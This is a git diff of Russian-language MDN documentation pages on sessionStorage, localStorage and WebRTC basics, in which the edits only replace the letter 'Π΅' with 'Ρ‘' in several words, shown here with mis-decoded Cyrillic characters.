-<p>Π­Ρ‚ΠΎ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <span style="line-height: 1.5;">(</span><code style="font-style: normal; line-height: 1.5;">sessionStorage</code><span style="line-height: 1.5;">), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сохраняСт значСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступны Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ сСссии. БСссия страницы длится, ΠΏΠΎΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚, ΠΈ восстанавливаСт свои значСния послС ΠΏΠ΅Ρ€Π΅Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы. ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ страницы Π² Π½ΠΎΠ²ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ ΠΈΠ»ΠΈ ΠΎΠΊΠ½Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ созданию Π½ΠΎΠ²ΠΎΠΉ сСссии для этой страницы.</span></p>
+<p>Π­Ρ‚ΠΎ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <span style="line-height: 1.5;">(</span><code style="font-style: normal; line-height: 1.5;">sessionStorage</code><span style="line-height: 1.5;">), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сохраняСт значСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступны Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ сСссии. БСссия страницы длится, ΠΏΠΎΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚, ΠΈ восстанавливаСт свои значСния послС ΠΏΠ΅Ρ€Π΅Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы. ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ страницы Π² Π½ΠΎΠ²ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ ΠΈΠ»ΠΈ ΠΎΠΊΠ½Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ созданию Π½ΠΎΠ²ΠΎΠΉ сСссии для этой страницы.</span></p>
<pre class="brush:js">// Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² локальноС Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ сСссии
sessionStorage.setItem("username", "John");
-// ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ значСния сохранСнного значСния
+// ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ значСния сохранённого значСния
alert( "username = " + sessionStorage.getItem("username"));
</pre>
@@ -99,7 +99,7 @@ alert( "username = " + sessionStorage.getItem("username"));
<p><code>localStorage</code> - это Ρ‚ΠΎ ΠΆΠ΅ самоС, Ρ‡Ρ‚ΠΎ ΠΈ<code>Β {{ Anch("sessionStorage") }},</code>Β ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚Β ΠΏΡ€Π°Π²ΠΈΠ»Π° Π΅Π΄ΠΈΠ½ΠΎΠ³ΠΎ происхоТдСния(same-origin rules), Π½ΠΎ Ρ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… постоянно.Β <code>localStorage</code> Π±Ρ‹Π» прСдставлСн Π² Firefox 3.5.</p>
-<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Когда Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π² частный Ρ€Π΅ΠΆΠΈΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°(<span style="line-height: 1.5;">private browsing mode), Ρ‚ΠΎ новая, врСмСнная Π±Π°Π·Π° Π΄Π°Π½Π½Ρ‹Ρ… создаСтся для хранСния Π΄Π°Π½Π½Ρ‹Ρ… локального Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°; эта Π±Π°Π·Π° Π΄Π°Π½Π½Ρ‹Ρ… очищаСтся ΠΈ удаляСтся, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ частный Ρ€Π΅ΠΆΠΈΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ.</span></div>
+<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Когда Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π² частный Ρ€Π΅ΠΆΠΈΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°(<span style="line-height: 1.5;">private browsing mode), Ρ‚ΠΎ новая, врСмСнная Π±Π°Π·Π° Π΄Π°Π½Π½Ρ‹Ρ… создаётся для хранСния Π΄Π°Π½Π½Ρ‹Ρ… локального Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°; эта Π±Π°Π·Π° Π΄Π°Π½Π½Ρ‹Ρ… очищаСтся ΠΈ удаляСтся, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ частный Ρ€Π΅ΠΆΠΈΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ.</span></div>
<h4 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ</h4>
diff --git a/files/ru/conflicting/web/api/webrtc_api/index.html b/files/ru/conflicting/web/api/webrtc_api/index.html
index b1e3f5d481..6e7c0536eb 100644
--- a/files/ru/conflicting/web/api/webrtc_api/index.html
+++ b/files/ru/conflicting/web/api/webrtc_api/index.html
@@ -21,7 +21,7 @@ original_slug: Web/Guide/API/WebRTC
<dt><a href="/en-US/docs/Web/Guide/API/WebRTC/WebRTC_architecture">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Ρƒ WebRTC</a></dt>
<dd><strong>(AKA "WebRTC and the Ocean of Acronyms")</strong>Β WebRTC состоит ΠΈΠ· мноТСства частСй ΠΈ это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ слоТностСй для Π½ΠΎΠ²ΠΈΡ‡ΠΊΠΎΠ². Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ рассказываСт ΠΎΠ±ΠΎ всСх частях ΠΈ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ Ρ‚ΠΎ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ собой связаны.</dd>
<dt><a href="/en-US/docs/Web/Guide/API/WebRTC/WebRTC_basics">ΠžΡΠ½ΠΎΠ²Ρ‹ WebRTC </a></dt>
- <dd>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΡƒΠΆΠ΅ Π·Π½Π°Π΅Ρ‚Π΅ Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Ρƒ WebRTC, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅, которая ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Ρ‚ вас Ρ‡Π΅Ρ€Π΅Π· ΠΏΡƒΡ‚ΡŒ создания кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ³ΠΎ RTC-прилоТСния</dd>
+ <dd>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΡƒΠΆΠ΅ Π·Π½Π°Π΅Ρ‚Π΅ Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Ρƒ WebRTC, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅, которая ΠΏΡ€ΠΎΠ²Π΅Π΄Ρ‘Ρ‚ вас Ρ‡Π΅Ρ€Π΅Π· ΠΏΡƒΡ‚ΡŒ создания кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ³ΠΎ RTC-прилоТСния</dd>
</dl>
<h2 id="Бсылки">Бсылки</h2>
diff --git a/files/ru/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ru/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html
index f6ec2af600..fc0da52bbc 100644
--- a/files/ru/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html
+++ b/files/ru/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html
@@ -20,7 +20,7 @@ original_slug: Web/API/WebRTC_API/WebRTC_basics
<p>ΠœΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π» здСсь происходит ΠΎΡ‚ RTCPeerConnection; ΠΎΠ½Π° ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡΡ‚Π°Ρ‚ΡŒΡΡ здСсь, ΠΈΠ»ΠΈ ΠΆΠ΅ Β ΠΌΠΎΠΆΠ΅Ρ‚ пСрСмСстится в другоС мСсто.</p>
<p><strong>ΠžΡΠ½ΠΎΠ²Ρ‹ использования</strong><br>
- Π‘Π°Π·ΠΎΠ²ΠΎΠ΅ использованиС RTCPeerConnection ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π³ΠΎΠ²ΠΎΡ€Ρ‹ связь ΠΌΠ΅ΠΆΠ΄Ρƒ локальной машиной ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΉ машиной ΠΎΠ΄ΠΈΠ½ гСнСрируя Session Description Protocol для ΠΎΠ±ΠΌΠ΅Π½Π° ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ. Π’Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ процСсс, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΠ² ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π° ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ΅ устройство, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ€Π΅Π°Π³ΠΈΡ€ΡƒΠ΅Ρ‚ Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½ΠΈΡ‚ΡŒ запрос Π½Π° соСдинСниС.</p>
+ Π‘Π°Π·ΠΎΠ²ΠΎΠ΅ использованиС RTCPeerConnection ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π³ΠΎΠ²ΠΎΡ€Ρ‹ связь ΠΌΠ΅ΠΆΠ΄Ρƒ локальной машиной ΠΈ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΉ машиной ΠΎΠ΄ΠΈΠ½ гСнСрируя Session Description Protocol для ΠΎΠ±ΠΌΠ΅Π½Π° ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ. Π’Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ процСсс, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΠ² ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ΅ устройство, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ€Π΅Π°Π³ΠΈΡ€ΡƒΠ΅Ρ‚ Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½ΠΈΡ‚ΡŒ запрос Π½Π° соСдинСниС.</p>
<p>ОбС стороны (Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ Π°Π±ΠΎΠ½Π΅Π½Ρ‚) Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ свои собствСнныС экзСмпляры RTCPeerConnection, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΈΡ… ΠΊΠΎΠ½Π΅Ρ† соСдинСния Ρ€Π°Π²Π½ΠΎΠΏΡ€Π°Π²Π½Ρ‹Ρ… ΡƒΠ·Π»ΠΎΠ² Π›Π’Π‘:</p>
@@ -68,9 +68,9 @@ navigator.getUserMedia({video: true}, function(stream) {
<h3 id="ΠžΡ‚Π²Π΅Ρ‚_Π½Π°_Π²Ρ‹Π·ΠΎΠ²">ΠžΡ‚Π²Π΅Ρ‚ Π½Π° Π²Ρ‹Π·ΠΎΠ²</h3>
-<p>На ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΠΌ ΠΊΠΎΠ½Ρ†Π΅, Π΄Ρ€ΡƒΠ³ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΡ‚ сСрвСра, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ любой ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠ±Ρ‹Π²Π°Π΅Ρ‚, {{domxref ("navigator.getUserMedia ()")}} вновь ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для создания ΠΏΠΎΡ‚ΠΎΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ добавляСтся ΠΊ RTCPeerConnection. {{Domxref ("RTCSessionDescription")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ создаСтся ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π² качСствС ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ описания с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.</p>
+<p>На ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΠΌ ΠΊΠΎΠ½Ρ†Π΅, Π΄Ρ€ΡƒΠ³ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΡ‚ сСрвСра, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ любой ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠ±Ρ‹Π²Π°Π΅Ρ‚, {{domxref ("navigator.getUserMedia ()")}} вновь ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для создания ΠΏΠΎΡ‚ΠΎΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ добавляСтся ΠΊ RTCPeerConnection. {{Domxref ("RTCSessionDescription")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ создаётся ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π² качСствС ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ описания с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.</p>
-<p>Π’ΠΎΠ³Π΄Π° ΠΎΡ‚Π²Π΅Ρ‚ создаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ RTCPeerConnection.createAnswer () ΠΈ отправляСтся ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° сСрвСр, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ направляСт Π΅Π³ΠΎ ΠΊ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌΡƒ Π°Π±ΠΎΠ½Π΅Π½Ρ‚Ρƒ.</p>
+<p>Π’ΠΎΠ³Π΄Π° ΠΎΡ‚Π²Π΅Ρ‚ создаётся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ RTCPeerConnection.createAnswer () ΠΈ отправляСтся ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° сСрвСр, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ направляСт Π΅Π³ΠΎ ΠΊ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌΡƒ Π°Π±ΠΎΠ½Π΅Π½Ρ‚Ρƒ.</p>
<pre class="brush: js notranslate">var offer = getOfferFromFriend();
navigator.getUserMedia({video: true}, function(stream) {
@@ -89,9 +89,9 @@ navigator.getUserMedia({video: true}, function(stream) {
<p><strong>ΠžΡ‚Π²Π΅Ρ‚ Π½Π° Π²Ρ‹Π·ΠΎΠ²</strong></p>
-<p>На ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΠΌ ΠΊΠΎΠ½Ρ†Π΅, Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΡ‚ сСрвСра, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ любой ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ принято, navigator.getUserMedia () вновь ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для создания ΠΏΠΎΡ‚ΠΎΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ добавляСтся ΠΊ RTCPeerConnection. Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ создаСтся ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π² качСствС ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ описания с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.</p>
+<p>На ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΠΌ ΠΊΠΎΠ½Ρ†Π΅, Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΡ‚ сСрвСра, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ любой ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ принято, navigator.getUserMedia () вновь ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для создания ΠΏΠΎΡ‚ΠΎΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ добавляСтся ΠΊ RTCPeerConnection. Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ создаётся ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π² качСствС ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ описания с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.</p>
-<p>Π’ΠΎΠ³Π΄Π° ΠΎΡ‚Π²Π΅Ρ‚ создаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ RTCPeerConnection.createAnswer () ΠΈ отправляСтся ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° сСрвСр, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ направляСт Π΅Π³ΠΎ ΠΊ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌΡƒ Π°Π±ΠΎΠ½Π΅Π½Ρ‚Ρƒ.</p>
+<p>Π’ΠΎΠ³Π΄Π° ΠΎΡ‚Π²Π΅Ρ‚ создаётся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ RTCPeerConnection.createAnswer () ΠΈ отправляСтся ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° сСрвСр, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ направляСт Π΅Π³ΠΎ ΠΊ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌΡƒ Π°Π±ΠΎΠ½Π΅Π½Ρ‚Ρƒ.</p>
<pre class="brush: js notranslate">// ПК Π±Ρ‹Π» создан Ρ€Π°Π½ΡŒΡˆΠ΅, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ сдСлали ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅
var offer = getResponseFromFriend();
@@ -99,7 +99,7 @@ pc.<a href="#createAnswer()">setRemoteDescription</a>(new <span class="nx">RTCSe
<h2 id="Old_content_follows!">Old content follows!</h2>
-<p>ВсС, Ρ‡Ρ‚ΠΎ находится Π½ΠΈΠΆΠ΅ этого ΠΏΡƒΠ½ΠΊΡ‚Π°,Β  ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ устарСло. Π­Ρ‚ΠΎ ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ находится Π² стадии рассмотрСния  ΠΈ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠ³ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π² Π΄Ρ€ΡƒΠ³ΠΈΠ΅ части Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ, Ссли ΠΎΠ½ΠΈ всС Π΅Ρ‰Π΅ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹.</p>
+<p>ВсС, Ρ‡Ρ‚ΠΎ находится Π½ΠΈΠΆΠ΅ этого ΠΏΡƒΠ½ΠΊΡ‚Π°,Β  ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ устарСло. Π­Ρ‚ΠΎ ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ находится Π² стадии рассмотрСния  ΠΈ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠ³ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π² Π΄Ρ€ΡƒΠ³ΠΈΠ΅ части Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ, Ссли ΠΎΠ½ΠΈ всС Π΅Ρ‰Ρ‘ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹.</p>
<div class="note">
<p><strong>НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π½Π° этой страницС.</strong> Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ ΡΡ‚Π°Ρ‚ΡŒΡŽΒ <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a> для Ρ€Π°Π±ΠΎΡ‚Ρ‹, Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с использованиСм WebRTC media.</p>
diff --git a/files/ru/conflicting/web/api/window/localstorage/index.html b/files/ru/conflicting/web/api/window/localstorage/index.html
index 50b03e48d3..5e87d8edc8 100644
--- a/files/ru/conflicting/web/api/window/localstorage/index.html
+++ b/files/ru/conflicting/web/api/window/localstorage/index.html
@@ -7,15 +7,15 @@ original_slug: Web/API/Storage/LocalStorage
---
<p><code>localStorage</code> это Π°Π½Π°Π»ΠΎΠ³ <code><a href="/en-US/docs/Web/API/sessionStorage">sessionStorage</a></code>, с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ same-origin ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ, Π½ΠΎ значСния хранятся постоянно (Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ sessions).Β <code>localStorage</code> появился Π² Firefox 3.5.</p>
